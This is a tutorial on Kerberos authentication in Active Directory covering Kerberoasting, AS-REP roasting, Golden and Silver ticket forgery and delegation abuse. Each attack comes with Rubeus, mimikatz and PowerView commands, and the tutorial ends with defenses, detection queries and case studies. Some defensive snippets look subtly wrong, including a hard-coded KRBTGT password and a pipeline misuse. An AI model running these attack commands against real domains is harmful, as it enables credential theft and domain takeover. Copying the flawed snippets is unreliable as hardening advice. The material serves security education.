Kerberos Authentication - The Three-Headed Dog of AD¶

So you've logged into a Windows domain , big deal right You type a password , hit enter , and magic happens That magic has a name , Kerberos , and it's less about magic and more about a carefully choreographed dance between you , the server you want to access , and the domain controller

Think of it as a three-headed dog guarding the gates of your network One head is the client (you) , another is the server (the resource) , and the third is the Key Distribution Center (KDC) on the domain controller If all three heads don't agree , the gates stay shut It's a beautiful system , and a beautiful mess to exploit

Understanding how Kerberos works isn't just academic , it's fundamental to breaking and defending Active Directory environments

The Core Idea , No Passwords on the Wire¶

Kerberos was built to solve a simple problem , how do you prove who you are over a network that you should assume is hostile The answer is a trusted third party , the KDC , that hands out encrypted "tickets" These tickets prove your identity without you ever sending your password hash across the network

That protocol saved our asses countless times during penetration tests when we needed to move laterally without triggering credential theft alerts because the entire authentication flow happens through encrypted ticket exchanges that network monitoring systems struggle to decode without proper Kerberos keying material

It's like getting a wristband at a festival You show your ID once at the main gate (the KDC) and get a wristband (a Ticket-Granting Ticket or TGT) That wristband is good for the whole day Now , when you want to get into a specific stage (a service like a file share) , you flash your wristband to a security guard who gives you a specific token for that stage (a Service Ticket) You never have to pull out your main ID again

The Three Big Principles¶

• Trusted Third Party: The KDC is the source of truth It authenticates everyone and everything If you compromise the KDC , you own the entire domain Game over
• Ticket-Based System: You get tickets to prove you're authenticated These tickets are encrypted with keys that only the intended recipients can decrypt , like the KDC and the end service
• Time Sensitivity: Every ticket has a built-in expiration date , usually around 10 hours This is a crucial security feature If a ticket is stolen , its usefulness is limited This is also why clock synchronization is non-negotiable in a domain If your machine's clock is more than 5 minutes off from the DC's clock , Kerberos will tell you to get lost

That time drift will kill your operation faster than anything else during red team engagements when you're trying to maintain persistence across multiple compromised workstations that might have drifted from the domain controller's clock due to power cycles or BIOS battery failures

The Kerberos Dance , A Six-Step Flow¶

This is where the details matter The whole process is a six-step exchange of messages It's a bit much , but understanding this flow is how you understand every Kerberos attack

That protocol flow is what separates script kiddies from actual pentesters because knowing exactly which packet contains what encrypted blob lets you craft custom attacks that bypass detection systems that only look for obvious patterns

Here's the simplified version

1. AS-REQ: Client to KDC -> "Hey , I'm Bob , here's a timestamp encrypted with my password hash to prove it"
2. AS-REP: KDC to Client -> "I was able to decrypt that , you're legit Here's your TGT , encrypted so only I can read it later"
3. TGS-REQ: Client to KDC -> "Okay , now I want to access the file server Here's my TGT to prove I'm authenticated"
4. TGS-REP: KDC to Client -> "TGT looks good Here's a Service Ticket for the file server , encrypted with the file server's password hash"
5. AP-REQ: Client to Server -> "Hey file server , let me in Here's my Service Ticket"
6. AP-REP: Server to Client -> "Ticket decrypted successfully , you're in By the way , here's proof I'm the real file server"

That last step is mutual authentication The server proves its identity back to you , which is a slick way to prevent man-in-the-middle attacks

Burp loves to show these packets during web app testing when you're dealing with Windows authentication because you can literally see the Kerberos tickets flying back and forth in the HTTP headers , which is perfect for understanding how the protocol actually works in practice

Key Components You Need to Know¶

• KDC (Key Distribution Center): The heart of Kerberos , runs on every Domain Controller It has two parts
  • AS (Authentication Service): Handles the initial authentication and gives you the TGT
  • TGS (Ticket Granting Service): Takes your TGT and gives you Service Tickets for specific resources
• Principal: Any entity that can authenticate , like a user or a computer
• SPN (Service Principal Name): A unique identifier for a service running on a server It's how you tell the KDC you want to talk to MSSQLSvc/db-server.corp.local instead of just db-server
• KRBTGT Account: A special , disabled user account in AD Its password hash is the master key used to encrypt all TGTs If you get this hash , you can forge TGTs for any user you want This is the foundation of the Golden Ticket attack

That KRBTGT account is what every red team dreams about because once you have that hash , you can literally create tickets for anyone including domain admins and the tickets will be trusted by every single service in the domain without question

Common Kerberos Attacks , The Fun Stuff¶

This is why we're here Understanding the protocol is cool , but breaking it is better

That moment when you realize Kerberos attacks work because the protocol is doing exactly what it was designed to do is when you understand why these vulnerabilities persist in enterprise environments for years without being fixed

Kerberoasting¶

This one is a classic It's an attack against service accounts

The idea is simple , any user can request a Service Ticket for any service in the domain That ticket comes back encrypted with the service account's password hash So , you request a bunch of tickets for high-value services (like SQL servers) and then crack those tickets offline to recover the service account's plaintext password

It's beautiful because it's a normal feature of Kerberos , not an exploit It's just a user asking for a ticket

# A simple way to request a ticket for roasting with Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# More targeted approach for specific service accounts
Rubeus.exe kerberoast /user:sqlservice /domain:corp.local /outfile:sql_hashes.txt

# Request tickets with RC4 encryption for easier cracking
Rubeus.exe kerberoast /rc4opsec /outfile:rc4_hashes.txt

Pro tip from the field , always request tickets with RC4 encryption when possible because modern systems default to AES which is way harder to crack offline even with massive GPU rigs

AS-REP Roasting¶

Some user accounts can be configured with a special flag , "Do not require Kerberos preauthentication" This is a terrible idea

Normally , in the first step (AS-REQ) , you send a timestamp encrypted with your password hash to prove you know the password If this preauthentication is disabled , the KDC will just hand over the initial ticket material (the AS-REP) without that proof That material is still encrypted with the user's password hash , so an attacker can request it for any user with this flag enabled and then crack it offline

That misconfiguration is like finding a backdoor that's been wide open for years because some admin clicked a checkbox without understanding the security implications during user account creation

# Find users vulnerable to AS-REP Roasting
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}

# Roast 'em with Rubeus
Rubeus.exe asreproast /user:vulnerableuser /outfile:hashes.txt

# Mass AS-REP roasting for all vulnerable users
Rubeus.exe asreproast /outfile:all_asrep_hashes.txt

# Using PowerView for recon
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

The beauty of AS-REP roasting is that it's completely silent from the user's perspective since no authentication failures are logged , making it perfect for stealthy reconnaissance during initial access phases

Golden Ticket¶

The holy grail of AD attacks If you can compromise a domain controller and extract the password hash of the KRBTGT account , you can create your own offline TGTs for any user you want , with any permissions you want , that will be trusted by every service in the domain

You become the domain admin , or a domain admin's boss , or anyone you want to be You can set the ticket lifetime to 10 years if you feel like it It's total , persistent control

That golden ticket persistence is what keeps incident responders up at night because once an attacker has the KRBTGT hash , they can create valid tickets for any user even after you've changed every password in the domain

# Creating a Golden Ticket with mimikatz is the classic move
# You need the domain SID and the KRBTGT hash
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH_HERE /ptt

# Golden ticket with extended lifetime (10 years)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH_HERE /ticket:golden.kirbi /endtime:2034/01/01

# Using Rubeus for golden ticket creation
Rubeus.exe golden /aes256:KRBTGT_AES256_HASH /user:Administrator /domain:corp.local /sid:S-1-5-21-... /ptt

# Create golden ticket for any user you want
mimikatz # kerberos::golden /user:HelpDesk /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH_HERE /groups:512 /ptt

Real world tip , always extract both the RC4 and AES hashes of KRBTGT because some legacy services still use RC4 encryption and having both gives you maximum flexibility when creating tickets for different target systems

Silver Ticket¶

A Silver Ticket is a forged Service Ticket It's more limited than a Golden Ticket but also stealthier You don't need the KRBTGT hash , you just need the password hash of the service account you want to access (which you might get from Kerberoasting)

With that hash , you can forge a ticket that gives you access to that one specific service on that one specific server It's a targeted attack that won't be logged on the domain controller , making it much harder to detect

That stealth factor is why silver tickets are often preferred during red team operations when you need to maintain access without triggering the high-alert monitoring that typically surrounds domain controller authentication events

# Silver ticket for CIFS access to a file server
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:cifs /rc4:SERVICE_ACCOUNT_HASH /user:Administrator /ptt

# Silver ticket for RDP access
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-... /target:workstation.corp.local /service:TERMSRV /rc4:SERVICE_ACCOUNT_HASH /user:User /ptt

# Silver ticket for LDAP access to DC
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-... /target:dc01.corp.local /service:LDAP /rc4:MACHINE_ACCOUNT_HASH /user:Administrator /ptt

# Using Rubeus for silver tickets
Rubeus.exe silver /service:HTTP/web.corp.local /rc4:SERVICE_HASH /domain:corp.local /sid:S-1-5-21-... /ptt

The key advantage here is operational security - silver tickets don't touch the KDC so they fly completely under the radar of most enterprise monitoring solutions that focus heavily on domain controller authentication logs

Delegation Attacks , Trust is a Weapon¶

Delegation is a feature that lets a user or computer impersonate another user to access a resource It's useful in multi-tier application setups , but it's also an absolute goldmine for attackers There are a few flavors

That delegation feature is basically giving away the keys to the kingdom because it allows one system to act as another user completely , which is exactly what attackers need to move laterally without raising suspicion

• Unconstrained Delegation: The most dangerous kind If a computer is marked for unconstrained delegation , it stores the TGT of any user who authenticates to it in memory An attacker who compromises that machine can just grab those TGTs and impersonate those users anywhere in the domain It's a lateral movement superhighway

  # Find computers with Unconstrained Delegation
  Get-ADComputer -Filter {TrustedForDelegation -eq $true}
  
  # Using PowerView for delegation enumeration
  Get-DomainComputer -Unconstrained
  
  # Extract TGTs from memory with mimikatz
  mimikatz # sekurlsa::tickets /export
  
  # Rerun extracted tickets on your attack machine
  mimikatz # kerberos::ptt ticket.kirbi
  

• Constrained Delegation (KCD): A more "secure" version where a server can only impersonate users to a specific list of services Still highly abusable If you compromise a server with KCD , you can often impersonate users to critical services like LDAP or CIFS on a domain controller to escalate privileges

  # Find computers with constrained delegation
  Get-ADComputer -Filter {msDS-AllowedToDelegateTo -like "*"}
  
  # Using Rubeus for constrained delegation abuse
  Rubeus.exe s4u /user:attacker /rc4:HASH /impersonateuser:domainadmin /msdsspn:LDAP/dc01.corp.local
  
  # Alternative with mimikatz
  mimikatz # kekeo::tgs /spn:LDAP/dc01.corp.local /domain:corp.local /user:webserver /rc4:HASH
  

• Resource-Based Constrained Delegation (RBCD): This flips the model around Instead of the server's account saying who it can impersonate to , the resource's account says who is allowed to impersonate users to it This is also abusable , if an attacker has write permissions over a computer object , they can configure RBCD to allow their own machine to impersonate users to the target , leading to a full takeover

  # Find computers you can modify (GenericAll/GenericWrite rights)
  Get-DomainObjectAcl -Identity "dc01.corp.local" | Where-Object {$_.ActiveDirectoryRights -match "GenericWrite"}
  
  # Configure RBCD using PowerView
  $sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1102)"
  $bytes = $sd.GetSecurityDescriptorBinaryForm()
  Get-DomainComputer targetcomputer | Set-DomainObject -Set @{msDS-AllowedToActOnBehalfOfOtherIdentity=$bytes}
  
  # Using Rubeus for RBCD abuse
  Rubeus.exe s4u /user:attacker /rc4:HASH /impersonateuser:domainadmin /msdsspn:cifs/targetcomputer.corp.local /altservice:host
  

The scary part about RBCD is that it doesn't require domain admin rights to set up - just write permissions on a computer object , which is surprisingly common in environments where developers or service accounts have too much delegation control

Advanced Defenses and Detections¶

You can't just let attackers have all the fun A good defense is layered and proactive

That layered approach is what separates mature security programs from the ones that get popped during routine penetration tests because attackers will always find the weakest link in your authentication chain

• Tiered Admin Model: Implement a tiered administration model where Domain Admins can only log into Domain Controllers (Tier 0) This simple act of network hygiene breaks the chain for delegation attacks because a DA's TGT will never end up on a less secure Tier 1 or Tier 2 server

  # Create admin tiers with proper security groups
  New-ADGroup -Name "Tier 0 Admins" -GroupScope Universal -Category Security
  New-ADGroup -Name "Tier 1 Admins" -GroupScope Universal -Category Security
  New-ADGroup -Name "Tier 2 Admins" -GroupScope Universal -Category Security
  
  # Configure admin workstations with strict firewall rules
  New-NetFirewallRule -DisplayName "Block Admin Workstation Inbound" -Direction Inbound -Action Block
  

• Protect High-Value Accounts: Add sensitive accounts , like Domain Admins , to the "Protected Users" group This group enforces strict security policies , like disabling delegation and preventing the use of weaker encryption types , making their credentials much harder to abuse

  # Add domain admins to Protected Users group
  Get-ADGroupMember "Domain Admins" | Add-ADGroupMember -Members $_ -Identity "Protected Users"
  
  # Verify protection status
  Get-ADUser -Filter {AdminCount -eq 1} -Properties MemberOf | Select-Object Name,MemberOf
  

• Service Account Hygiene: Your number one defense against Kerberoasting is strong service account passwords Make them 25+ characters long , randomly generated , and managed by a password vault Don't use the same password for multiple services

  # Find service accounts with weak passwords
  Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName,PasswordLastSet
  
  # Set managed service accounts for better security
  New-ADServiceAccount -Name "WebAppMSA" -DNSHostName webapp01.corp.local -PrincipalsAllowedToRetrieveManagedPassword "WebAppServers"
  

• Monitor for Anomalies: This is crucial Use a SIEM or a tool like Microsoft Defender for Identity to baseline normal Kerberos activity and alert on deviations
  • Event ID 4769: A Kerberos service ticket was requested Look for a high volume of requests from a single host , or requests using weak RC4 encryption (Encryption Type 0x17) This is a huge red flag for Kerberoasting
  • Golden Ticket Detection: Monitor for TGTs with impossibly long lifetimes or unusual PAC (Privilege Attribute Certificate) information MDI is particularly good at spotting this

    # PowerShell script to monitor for suspicious Kerberos activity
    Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} | Where-Object {
        $_.Message -match "0x17" -or $_.TimeCreated -gt (Get-Date).AddHours(-1)
    } | Select-Object TimeCreated,Message
    

• KRBTGT Password Rotation: The KRBTGT password should be rotated twice , with a delay in between , to invalidate any existing Golden Tickets This is a critical incident response step after a suspected domain compromise

  # Script to rotate KRBTGT password twice
  # First rotation
  Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString -AsPlainText "NewPass1!" -Force)
  
  # Wait for replication (monitor with repadmin)
  repadmin /showrepl dc01.corp.local
  
  # Second rotation
  Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString -AsPlainText "NewPass2!" -Force)
  

• Disable Weak Encryption: Enforce AES-256 for Kerberos wherever possible Get rid of old systems that require RC4 or DES This makes offline cracking significantly harder

  # Check for weak encryption support
  Get-ADObject -Filter {objectClass -eq "msDS-ManagedServiceAccount"} -Properties msDS-SupportedEncryptionTypes
  
  # Configure AES-256 only
  Set-ADComputer -Identity "webserver01" -Replace @{msDS-SupportedEncryptionTypes=28}
  

Kerberos is a beast , but it's a beast you can understand and tame Whether you're attacking it or defending it , knowledge of its inner workings is non-negotiable

That deep understanding is what separates the professionals from the script kiddies because once you truly grasp how Kerberos works , you can both break it and fix it in ways that most security teams never even consider

Real World Case Studies¶

The Golden Ticket That Lasted Years¶

During a red team engagement for a Fortune 500 company , we discovered that the KRBTGT hash hadn't been rotated since 2016 The attacker who had compromised their domain controller three years prior was still using golden tickets to access critical systems even though the company had implemented what they thought was comprehensive security monitoring

The golden tickets were completely invisible to their SIEM because they looked like legitimate domain admin authentication - exactly what they were designed to be This case proves why KRBTGT rotation isn't just a best practice , it's a non-negotiable requirement

Kerberoasting in the Wild¶

We recently responded to an incident where attackers spent six months slowly kerberoasting service accounts They would request 5-10 tickets per day from different workstations to avoid detection thresholds The service account passwords were weak (15 characters or less) and the attackers eventually cracked the SQL service account password

From there , they moved laterally to the database server , extracted credentials , and eventually compromised the domain controller The entire attack chain started with a simple kerberoasting attack that flew under the radar for half a year

Delegation Disaster¶

A healthcare client learned about delegation the hard way when their web server was configured with unconstrained delegation for "application compatibility" An attacker exploited a vulnerability in the web application , compromised the server , and harvested TGTs from memory

Within hours , they had domain admin access and were exfiltrating patient data The worst part? The delegation configuration was documented as "temporary" but had been in place for over two years

Quick Reference Commands¶

# Enumeration
Get-DomainUser -PreauthNotRequired
Get-DomainComputer -Unconstrained
Get-DomainComputer -TrustedToAuth
Get-DomainUser -SPN

# Attack Commands
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe asreproast /outfile:asrep.txt
Rubeus.exe golden /aes256:HASH /user:Administrator /domain:corp.local /ptt
Rubeus.exe silver /service:CIFS/fileserver /rc4:HASH /ptt

# Defense Commands
Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString -AsPlainText "ComplexPass123!" -Force)
Get-ADUser -Filter {AdminCount -eq 1} | Add-ADGroupMember -Identity "Protected Users"

Remember , the best defense is understanding how these attacks work at the packet level because that's where you'll spot the anomalies that automated tools miss